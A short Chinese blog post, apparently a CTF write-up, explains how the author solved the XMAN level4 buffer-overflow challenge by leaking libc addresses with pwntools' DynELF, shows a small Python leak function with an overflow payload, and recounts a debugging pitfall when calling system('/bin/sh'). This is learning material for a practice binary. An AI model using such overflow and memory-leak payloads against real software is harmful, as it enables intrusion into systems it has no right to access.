DynELF

作者: BJChangAn | 来源:发表于2017-11-21 23:15 被阅读0次

XMAN的level4,逻辑很简单,可以覆盖返回地址,但是由于没有提供libc,需要用pwntools的DynELF泄露libc信息

用DynELF的条件是可以实现任意地址读,并且每次读完可以恢复到溢出点。


def leak(address):

          payload = 'a'*0x8c + p32(0x08048340) + p32(main) + p32(1) +p32(address) + p32(4)’z

          p.send(payload)

          data = p.recv(4)

          print "%#x %s" % (address, hex(u32(data)))

         return data

d=DynELF(leak,elf=ELF('./'))

system_addr=d.lookup('system','libc')

·


不过DynELF没法查找/bin/sh字符串,这道题可以任意地址写所以写到bss段里然后用system调用。

大佬说可以泄露了几个地址后用libc database来查版本,这样顺带就把/bin/sh也找出来了。

再说说遇到的坑吧,萌新总是遇到坑

一开始leak函数这里返回地址我是覆盖为溢出点所在的函数,这样也可以完成leak libc,但是之后调试时候明明看到system("/bin/sh")但是就是拿不到shell......后来把返回地址覆盖为main函数就没问题了......据大佬讲啊可能是环境变量被覆盖了> <

这个卡了好久,以后要留神。

相关文章

  • 无libc泄露地址

    用pwntools的DynELF模块来实现 DynELF的基本框架 p = process('./xxx')def...

  • DynELF

    XMAN的level4,逻辑很简单,可以覆盖返回地址,但是由于没有提供libc,需要用pwntools的DynEL...

  • DynELF

    在没有libc的时候,使用pwntools的DynELF可以来泄露地址leak函数格式 address是需要泄露地...

  • Memory Leak & DynELF

    很多情况下,我们无法获得目标程序的libc,因此无法通过ret2libc的方式得到system函数的地址,这种情况...

  • PWN to MIPS by the DynELF

    参照https://www.jianshu.com/p/25d709016f4e[https://www.jian...

  • [JarvisOj](pwn)level2

    简介 : 地址 : 利用代码 : 【技术分享】借助DynELF实现无libc的漏洞利用小结Paste_Image....

  • DynELF函数泄漏遇到的坑

    最近在学用DynELF + puts函数泄漏system地址从而getshell,遇到几个坑 get函数溢出时不适...

  • 五_4.泄露libc_XDCTF 2015-pwn20_32

    一道三无的题(无libc无system无/bin/sh) 利用pwntools的DynELF框架(专门解决泄露远程...

  • pwntools的DynELF模块模板:

    参考:https://www.anquanke.com/post/id/85129 普通模板 puts函数 put...

  • xctf-pwn100

    这道题方法是通过pwntools的DynELF模块来做具体可以参考i春秋里面的这篇文章很详细Linux pwn入门...

网友评论

      本文标题:DynELF

      本文链接:https://www.haomeiwen.com/subject/yahgvxtx.html